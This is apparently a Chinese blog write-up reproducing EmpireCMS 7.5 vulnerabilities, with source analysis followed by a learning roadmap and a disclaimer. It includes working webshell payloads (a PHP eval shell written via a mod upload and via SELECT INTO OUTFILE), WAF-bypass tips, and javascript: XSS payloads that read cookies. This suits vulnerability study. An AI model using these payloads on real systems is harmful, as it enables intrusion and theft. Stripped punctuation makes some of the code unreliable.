2026/4/18 17:26:59
网站建设
项目流程
淮北哪有做淘宝网站,建网站报价表,北京建设集团网站首页,成都装修公司一览表前言
本文将对EmpireCMS(帝国cms)的漏洞进行分析及复现。代码分析这一块主要还是借鉴了大佬们的一些分析思想#xff0c;这里对大佬们提供的思路表示衷心的感谢。
环境搭建
帝国cms的默认安装路径为http://localhost/e/install#xff0c;进入安装一直往下 到连接数据库这…前言本文将对EmpireCMS(帝国cms)的漏洞进行分析及复现。代码分析这一块主要还是借鉴了大佬们的一些分析思想这里对大佬们提供的思路表示衷心的感谢。环境搭建帝国cms的默认安装路径为http://localhost/e/install进入安装一直往下到连接数据库这一步mysql版本可以选择自动识别也可以自己选择相应版本这里数据库如果在本地就填写localhost127.0.0.1。这里也可以选择远程连接vps的服务器但是前提是vps上的数据库开启了远程连接首先找到/etc/mysql/my.conf找到bind-address 127.0.0.1这一行注释掉此处没有也可以忽略然后新建一个admin用户允许远程登录并立即应用配置即可grant all on *.* to admin% identified by 123456 with grant option;flush privileges;点击下一步就会自动在数据库生成一个empirecms的数据库并在其中建立许多个表然后再设置进入后台管理员的密码下一步即可安装完成这里提示要删除路径避免被再次安装但是这个地方其实设置了两层保护即使你访问install这个路径会有一个.off文件在路径下需要将这个.off文件删除后才能再次安装输入设置的后台管理员用户名和密码即可进入管理员后台漏洞原理及复现后台getshell(CVE-2018-18086)漏洞原理EmpireCMS 7.5版本及之前版本在后台备份数据库时,未对数据库表名做验证,通过修改数据库表名可以实现任意代码执行。EmpireCMS7.5版本中的/e/class/moddofun.php文件的”LoadInMod”函数存在安全漏洞,攻击者可利用该漏洞上传任意文件。源码分析主要漏洞代码位置//导入模型//导入模型elseif($enewsLoadInMod){ $file$_FILES[file][tmp_name]; $file_name$_FILES[file][name]; $file_type$_FILES[file][type]; $file_size$_FILES[file][size]; LoadInMod($_POST,$file,$file_name,$file_type,$file_size,$logininid,$loginin);}转到LoadInMod定义在localhost/EmpireCMS/e/class/moddofun.php找到上传文件的定义//上传文件 $pathECMS_PATH.e/data/tmp/mod/uploadm.time().make_password(10)..php; $cpmove_uploaded_file($file,$path); if(!$cp) { printerror(EmptyLoadInMod,); } DoChmodFile($path); include($path); UpdateTbDefMod($tid,$tbname,$mid);文件包含上传文件处使用time().makepassword(10)进行加密文件名//取得随机数function make_password($pw_length){ $low_ascii_bound48; $upper_ascii_bound122; $notusearray(58,59,60,61,62,63,64,91,92,93,94,95,96); while($i$pw_length) { if(PHP_VERSION4.2.0) { mt_srand((double)microtime()*1000000); } mt_srand(); $randnummt_rand($low_ascii_bound,$upper_ascii_bound); if(!in_array($randnum,$notuse)) { $password1$password1.chr($randnum); $i; } } return $password1;}下方代码include($path)直接包含文件因此可以通过添加创建文件的代码绕过。漏洞复现来到导入系统模型的页面本地准备一个1.php并改名为1.php.mod注意这里需要用\$进行转义存放的数据表名需要填一个数据库内没有的表名点击上传?php file_put_contents(getshell.php,?php eval(\$_POST[cmd]); ?);?导入成功后访问一下生成shell看能不能访问得到没有报错是可以访问到的那么证明已经上传成功了再用蚁剑连接即可几个实战中遇到的坑1.有waf报错500500很容易联想到禁止web流量那么我们上传的一句话木马默认情况下是不进行加密的所以很容易被waf识别并拦截。解决方法使用蚁剑自带的base64编码器和解密器即可成功上线这里也可以用自己的编码器和解密器绕过waf拦截2.不能使用冰蝎、哥斯拉马因为要在$之前加\转义冰蝎转义后的php.mod应该如下图所示上传到模型处就无回显实战小技巧如果有waf拦截web流量就走加密传输如果始终连接不上就要一步步的进行排查。这里可以在一句话密码后面输出一个echo 123通过是否有回显来探测哪一步没有完善导致连接不成功代码注入 (CVE-2018-19462)漏洞原理EmpireCMS7.5及之前版本中的admindbDoSql.php文件存在代码注入漏洞。该漏洞源于外部输入数据构造代码段的过程中网路系统或产品未正确过滤其中的特殊元素。攻击者可利用该漏洞生成非法的代码段修改网络系统或组件的预期的执行控制流。主要漏洞代码位置执行sql语句处分析源码定位漏洞出现的位置在localhost/EmpireCMS/e/admin/db/DoSql.php对sqltext进行RepSqlTbpre函数处理//运行SQL语句function ExecSql($id,$userid,$username){ global $empire,$dbtbpre; $id(int)$id; if(empty($id)) { printerror(EmptyExecSqlid,); } $r$empire-fetch1(select sqltext from {$dbtbpre}enewssql where id$id); if(!$r[sqltext]) { printerror(EmptyExecSqlid,); } $queryRepSqlTbpre($r[sqltext]); DoRunQuery($query); //操作日志 insert_dolog(query.$query); printerror(DoExecSqlSuccess,ListSql.php.hReturnEcmsHashStrHref2(1));}转到定义RepSqlTbpre发现只对表的前缀做了替换//替换表前缀function RepSqlTbpre($sql){ global $dbtbpre; $sqlstr_replace([!db.pre!],$dbtbpre,$sql); return $sql;}转到定义DoRunQuery对$query进行处理。对$sql参数只做了去除空格、以;分隔然后遍历,没有做别的限制和过滤,导致可以执行恶意的sql语句//运行SQLfunction DoRunQuery($sql){ global $empire; $sqlstr_replace(\r,\n,$sql); $retarray(); $num0; foreach(explode(;\n,trim($sql)) as $query) { $queriesexplode(\n,trim($query)); foreach($queries as $query) { $ret[$num].$query[0]#||$query[0].$query[1]--?:$query; } $num; } unset($sql); foreach($ret as $query) { $querytrim($query); if($query) { $empire-query($query); } }}payload用select … into outfile语句写入php一句话木马但是这里需要知道存放的绝对路径这里可以使用一个phpinfo()用第一种方法传上去?php file_put_contents(getshell.php,?php phpinfo();?);?访问即可打出phpinfo这里只是找到了php的绝对路径还不是web所存储的路径这时候查看源代码搜索DOCUMENT_ROOT查询网站所处的绝对路径用select … into outfile语句写入php一句话木马select ?php eval($_POST[LEOGG])? into outfile C:/phpStudy/PHPTutorial/WWW/EmpireCMS/e/admin/Get.php看到上传已经成功访问一下是存在的直接上蚁剑连接即可实战中的一些坑我们知道secure_file_priv这个参数在mysql的配置文件里起到的是能否写入的作用当secure_file_priv 为空则可以写入sql语句到数据库当secure_file_priv NULL则不可以往数据库里写sql语句当secure_file_priv /xxx一个指定目录的时候就只能往这个指定的目录里面写东西这个地方很明显报错就是限制数据库的导入跟导出这里很明显判断secure_file_priv NULL所以当实战中出现在这种情况下是不能够用这种方法的如果在本地可以修改或添加secure_file_priv 这一行语句后台xss原理分析漏洞类型反射型xss漏洞文件localhost/EmpireCMS/e/admin/openpage/AdminPage.php漏洞原理该漏洞是由于代码只使用htmlspecialchars进行实体编码过滤而且参数用的是ENT_QUOTES(编码双引号和单引号),还有addslashes函数处理但是没有对任何恶意关键字进行过滤从而导致攻击者使用别的关键字进行攻击源码分析主要漏洞代码位置localhost/EmpireCMS/e/admin/openpage/AdminPage.php$leftfilehRepPostStr($_GET[leftfile],1);$mainfilehRepPostStr($_GET[mainfile],1);利用hRepPostStr函数进行过滤跳转到该函数的定义如下function hRepPostStr($val,$ecms0,$phck0){ if($phck1) { CkPostStrCharYh($val); } if($ecms1) { $valehtmlspecialchars($val,ENT_QUOTES); } CkPostStrChar($val); $valAddAddsData($val); return $val;}用ehtmlspecialchars函数进行HTML实体编码过滤其中ENT_QUOTES - 编码双引号和单引号。function ehtmlspecialchars($val,$flagsENT_COMPAT){ global $ecms_config; if(PHP_VERSION5.4.0) { if($ecms_config[sets][pagechar]utf-8) { $charUTF-8; } else { $charISO-8859-1; } $valhtmlspecialchars($val,$flags,$char); } else { $valhtmlspecialchars($val,$flags); } return $val;}要利用htmlspecialchars函数把字符转换为HTML实体用CkPostStrChar函数对参数进行处理function CkPostStrChar($val){ if(substr($val,-1)\\) { exit(); }}获取字符末端第一个开始的字符串为\\则退出函数用AddAddsData函数对参数进行处理function AddAddsData($data){ if(!MAGIC_QUOTES_GPC) { $dataaddslashes($data); } return $data;}如果没有开启MAGIC_QUOTES_GPC则利用addslashes函数进行转义addslashes()函数返回在预定义字符之前添加反斜杠的字符串网页输出然而输出的位置是在iframe标签的src里这意味着之前的过滤都没有什么用。iframe标签可以执行js代码因此可以利用javascript:alert(/xss/)触发xsspayloadpayload如下192.168.10.3/EmpireCMS/e/admin/openpage/AdminPage.php?ehash_3ZvP9dQ7ordM5PCqKDgSmvkDfmainfilejavascript:alert(/xss/)其中ehash是随机生成的在登录时可以看到ehash_3ZvP9dQ7ordM5PCqKDgSmvkDf如果缺少这个hash值则会提示非法来源获取cookie信息payload192.168.10.3/EmpireCMS/e/admin/openpage/AdminPage.php?ehash_3ZvP9dQ7ordM5PCqKDgSmvkDfmainfilejavascript:alert(document.cookie)前台xss原理分析漏洞类型反射型xss漏洞文件localhost/EmpireCMS/e/ViewImg/index.html漏洞原理url地址经过Request函数处理之后,把url地址中的参数和值部分直接拼接当作a标签的href属性的值和img标签的src标签的值主要漏洞代码位置localhost/upload/e/ViewImg/index.htmlif(Request(url)!0){ document.write(a title\点击观看完整的图片...\ href\Request(url)\ target\_blank\img src\Request(url)\ border0 class\picborder\ onmousewheel\return bbimg(this)\ onload\if(this.widthscreen.width-500)this.style.widthscreen.width-500;\); }通过Request函数获取地址栏的url参数,并作为img和a标签的src属性和href属性,然后经过document.write输出到页面。转到request函数定义function Request(sName){ /* get last loc. of ? right: find first loc. of sName 2 retrieve value before next */ var sURL new String(window.location); var iQMark sURL.lastIndexOf(?); var iLensNamesName.length; //retrieve loc. of sName var iStart sURL.indexOf(? sName ) //limitation 1 if (iStart-1) {//not found at start iStart sURL.indexOf( sName )//limitation 1 if (iStart-1) {//not found at end return 0; //not found } } iStart iStart iLensName 2; var iTemp sURL.indexOf(,iStart); //next pair start if (iTemp -1) {//EOF iTempsURL.length; } return sURL.slice(iStart,iTemp ) ; sURLnull;//destroy String}通过window.location获取当前url地址,根据传入的url参数,获取当前参数的起始位置和结束位置payloadurl地址经过Request函数处理之后,然后把url地址中的参数和值部分直接拼接当作a标签的href属性的值和img标签的src标签的值payload如下http://localhost/upload/e/ViewImg/index.html?urljavascript:alert(document.cookie)payload解析当浏览器载入一个Javascript URL时它会执行URL中所包含的Javascript代码并且使用最后一个Javascript语句或表达式的值转换为一个字符串作为新载入的文档的内容显示。javascript:伪协议可以和HTML属性一起使用该属性的值也应该是一个URL。一个超链接的href属性就满足这种条件。当用户点击一个这样的链接指定的Javascript代码就会执行。在这种情况下Javascript URL本质上是一个onclick事件句柄的替代。点击图片触发xss得到网页cookie网络安全学习路线学习资源网络安全的知识多而杂怎么科学合理安排下面给大家总结了一套适用于网安零基础的学习路线应届生和转行人员都适用学完保底6k就算你底子差如果能趁着网安良好的发展势头不断学习日后跳槽大厂、拿到百万年薪也不是不可能初级网工1、网络安全理论知识2天①了解行业相关背景前景确定发展方向。②学习网络安全相关法律法规。③网络安全运营的概念。④等保简介、等保规定、流程和规范。非常重要2、渗透测试基础一周①渗透测试的流程、分类、标准②信息收集技术主动/被动信息搜集、Nmap工具、Google Hacking③漏洞扫描、漏洞利用、原理利用方法、工具MSF、绕过IDS和反病毒侦察④主机攻防演练MS17-010、MS08-067、MS10-046、MS12-20等3、操作系统基础一周①Windows系统常见功能和命令②Kali Linux系统常见功能和命令③操作系统安全系统入侵排查/系统加固基础4、计算机网络基础一周①计算机网络基础、协议和架构②网络通信原理、OSI模型、数据转发流程③常见协议解析HTTP、TCP/IP、ARP等④网络攻击技术与网络安全防御技术⑤Web漏洞原理与防御主动/被动攻击、DDOS攻击、CVE漏洞复现5、数据库基础操作2天①数据库基础②SQL语言基础③数据库安全加固6、Web渗透1周①HTML、CSS和JavaScript简介②OWASP Top10③Web漏洞扫描工具④Web渗透工具Nmap、BurpSuite、SQLMap、其他菜刀、漏扫等恭喜你如果学到这里你基本可以从事一份网络安全相关的工作比如渗透测试、Web 渗透、安全服务、安全分析等岗位如果等保模块学的好还可以从事等保工程师。薪资区间6k-15k到此为止大概1个月的时间。你已经成为了一名“脚本小子”。那么你还想往下探索吗【“脚本小子”成长进阶资源领取】7、脚本编程初级/中级/高级在网络安全领域。是否具备编程能力是“脚本小子”和真正黑客的本质区别。在实际的渗透测试过程中面对复杂多变的网络环境当常用工具不能满足实际需求的时候往往需要对现有工具进行扩展或者编写符合我们要求的工具、自动化脚本这个时候就需要具备一定的编程能力。在分秒必争的CTF竞赛中想要高效地使用自制的脚本工具来实现各种目的更是需要拥有编程能力.零基础入门建议选择脚本语言Python/PHP/Go/Java中的一种对常用库进行编程学习 搭建开发环境和选择IDE,PHP环境推荐Wamp和XAMPP IDE强烈推荐Sublime ·Python编程学习学习内容包含语法、正则、文件、 网络、多线程等常用库推荐《Python核心编程》不要看完 ·用Python编写漏洞的exp,然后写一个简单的网络爬虫 ·PHP基本语法学习并书写一个简单的博客系统 熟悉MVC架构并试着学习一个PHP框架或者Python框架 (可选) ·了解Bootstrap的布局或者CSS。8、超级网工这部分内容对零基础的同学来说还比较遥远就不展开细说了贴一个大概的路线。感兴趣的童鞋可以研究一下不懂得地方可以【点这里】加我耗油跟我学习交流一下。网络安全工程师企业级学习路线如图片过大被平台压缩导致看不清的话可以【点这里】加我耗油发给你大家也可以一起学习交流一下。一些我自己买的、其他平台白嫖不到的视频教程需要的话可以扫描下方卡片加我耗油发给你都是无偿分享的大家也可以一起学习交流一下。网络安全学习路线学习资源结语网络安全产业就像一个江湖各色人等聚集。相对于欧美国家基础扎实懂加密、会防护、能挖洞、擅工程的众多名门正派我国的人才更多的属于旁门左道很多白帽子可能会不服气因此在未来的人才培养和建设上需要调整结构鼓励更多的人去做“正向”的、结合“业务”与“数据”、“自动化”的“体系、建设”才能解人才之渴真正的为社会全面互联网化提供安全保障。特别声明此教程为纯技术分享本书的目的决不是为那些怀有不良动机的人提供及技术支持也不承担因为技术被滥用所产生的连带责任本书的目的在于最大限度地唤醒大家对网络安全的重视并采取相应的安全措施从而减少由网络安全而带来的经济损失